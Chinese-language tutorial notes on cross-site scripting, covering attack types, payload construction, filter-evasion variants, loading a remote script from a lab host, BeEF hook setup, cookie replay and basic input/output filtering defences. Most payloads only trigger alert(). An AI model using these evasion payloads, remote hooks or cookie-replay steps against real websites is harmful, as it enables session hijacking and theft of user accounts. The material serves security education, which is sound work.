xss(cross-site scripting)

本因为css,因与css样式重名所以更名为xss。xss主要基于js完成恶意攻击

XSS危害

盗取用户账号

窃取用户cookie,冒充用户身份进入网站

劫持用户会话,执行任意操作

刷流量,执行弹窗广告

传播蠕虫病毒

XSS漏洞验证

PoC(Proof of Concept,概念验证,漏洞验证)

EXP(漏洞的完整利用工具)

shellcode(利用漏洞时所执行的代码)

payload(攻击载荷)

  sqlmap  攻击代码的模板

  msf    类似shellcode,功能是建立与目标的连接

常用

<script>alert(/xss/)</script>

<script>confirm('xss')</script>

<script>prompt('xss')</script>

XSS分类

反射型XSS,存储型XSS,DOM型XSS

反射型XSS是非持久性,参数型的跨站脚本。反射型xss在web应用的参数中,如搜索框的反射型xss

存储型XSS是持久性跨站脚本。XSS代码不是在参数中,而是写进数据库或者文件等可以永久保存数据的地方

  存储型xss通常出现在留言板等地方,在留言板留言把数据写入数据库中。js代码的运行环境是浏览器,所以需要浏览器从服务器中载入恶意xss代码才能真正触发xss

DOM型XSS

  payload修改受害者浏览器页面的DOM树而执行的,不会上传到服务器,使得DOM型XSS比较难检测

XSS的构造

  利用<>构造html/js标签

    如<script>alert(/xss/)</script>

  伪协议

    可以使用javascript:伪协议方式构造xss

    javascript:alert(/xss);

    <a href="javascript:alert(/xss/)">touch me</a>

    <img src="javascript:alert(/xss/)">   (仅在ie6下测试成功)

  产生自己的事件

    在网页中会发生很多事件(比如鼠标移动,键盘输入等)。js可以对这些事件产生响应,所以我们可以通过事件来触发xss

    事件种类

      windows事件    对windows对象触发的事件

      Form事件      HTML表单内动作触发事件

      Keyboard事件    键盘按键

      Mouse事件      由鼠标或类似用户动作触发的事件

      Media事件       由多媒体触发的事件

      如:<img src="./smile.jpg" onmouseover='alert(/xss/)'>当鼠标悬停在图片上时出现弹窗

        <input type="text" onkeydown="alert(/xss/)">

XSS的变形

  可以构造xss变形成各种形态绕过检测

  大小写转换:
    可以将payload进行大小写转换,如下面例子

      <Img sRc="./smile.jpg" onmOuSeover='alert(/xss/)'>

  引号的使用:

    HTML对引号的使用不太敏感,但有些过滤函数很敏感

      <img src="./smile.jpg" onmouseover="alert(/xss/)">

      <img src='./smile.jpg' onmouseover='alert(/xss/)'>

      <img src=./smile.jpg onmouseover=alert(/xss/)>

  '/'代替空格

    利用左斜线代替空格

      <img/src='./smile.jpg'/onmouseover='alert(/xss/)'>

  回车

    我们可以在一些位置添加tab和回车符来绕过关键字检测

      <a href="j
                a
                v
                a
                script:alert(/xss/)">touch me</a>

 

  对标签属性值进行转码

    可以对标签属性值进行转码来绕过检测(html实体编码)

      <a href="j&#97;&#118;&#97;script:alert(/xss/)">t</a>

    可以将以下字符插入任意位置

      Tab  &#9;

      换行   &#10;

      回车   &#13;

    可以将以下字符插入到头部

      SOH  &#01;

      STX    &#02;

  拆分跨站

    <script>z='alert'</script>

    <script>z=z+'/xss/'</script>

    <script>eval(z)</script>

  双写绕过

    一次过滤的双写绕过

    <scri<script>pt>alert(/xss/)</sc</script>ript>

shellcode的调用

  shellcode就是在利用漏洞所执行的代码

  完整的xss攻击会将shellcode存放在一定的地方,然后触发漏洞,调用shellcode

  远程调用js:

    可以将js代码单独放在一个js文件中,然后通过http协议远程加载脚本

      如<script src="http://10.10.1.178/xss-test/xss.js"></script>

  windows.location.hash

    使用js中的windows.location.hash方法获取url地址栏中的xss代码

    windows.location.hash会获取url中#后面的内容,如http://domain.com/index.php#adjust,windows.location.hash的值就是adjust

    可以构造如下代码[ ?submit=submit&xsscode=<script>eval(location.hash.substr(1))</script>#alert(/xss/) ]

  XSS Downloader

    xss下载器是将xss代码写到网页中,然后通过ajax技术取得网页中的xss代码

    在使用xss downloader之前我们需要一个自己的页面,xss_downloader.php,内容: ~~~BOF|alert(/xss/)|EOF~~~

备选存储技术

  shellcode还可以存储在客户端的本地域中,如HTTP Cookie、Flash 共享对象、UserData、localStorage等

XSS的防御

  使用xss filter过滤用户提交的有害信息从而达到防范xss攻击的效果

    输入过滤,对用户输入的内容进行严格的过滤

      输入验证:对用户输入的信息进行严格认证,仅接受合法的数据

        输入是否仅包含合法的字符

        输入字符串是否超过了最大长度限制

        输入如果为数字,数字是否在指定的范围

        输入是否符合特殊的格式要求,如e-mail地址,ip地址等

      数据消毒

        过滤和净化掉有毒的输入

      输出编码

        html编码主要对应html实体,用编码代替字符

      黑白名单

        黑白单:非允许数据

        白名单:允许的数据

  

beef(集成在kali里)

  xss漏洞利用平台

  beef的启动

    工具目录:/usr/share/beef-xss

    启动beef

    sh

      ./beef或者beef-xss

    修改默认用户名和密码

      vim /usr/share/beef-xss/config.yaml

    web界面管理控制台

      localhost:3000/ui/panel

    ShellCode

      localhost:3000/hook.js

    测试页面

      localhost:3000/demos/butcher/index.html

    当有人访问hook.js或者测试页面的时候,就会上线。可以对已上线主机读取信息以及进行命令操作

  

  cookie的窃取与欺骗(固定会话攻击)

    (已经窃取到的cookie)data:  cookie=username=admin; userid=1

     在自己浏览器运行js:

        document.cookie="username=admin";

        document.cookie="userid=1";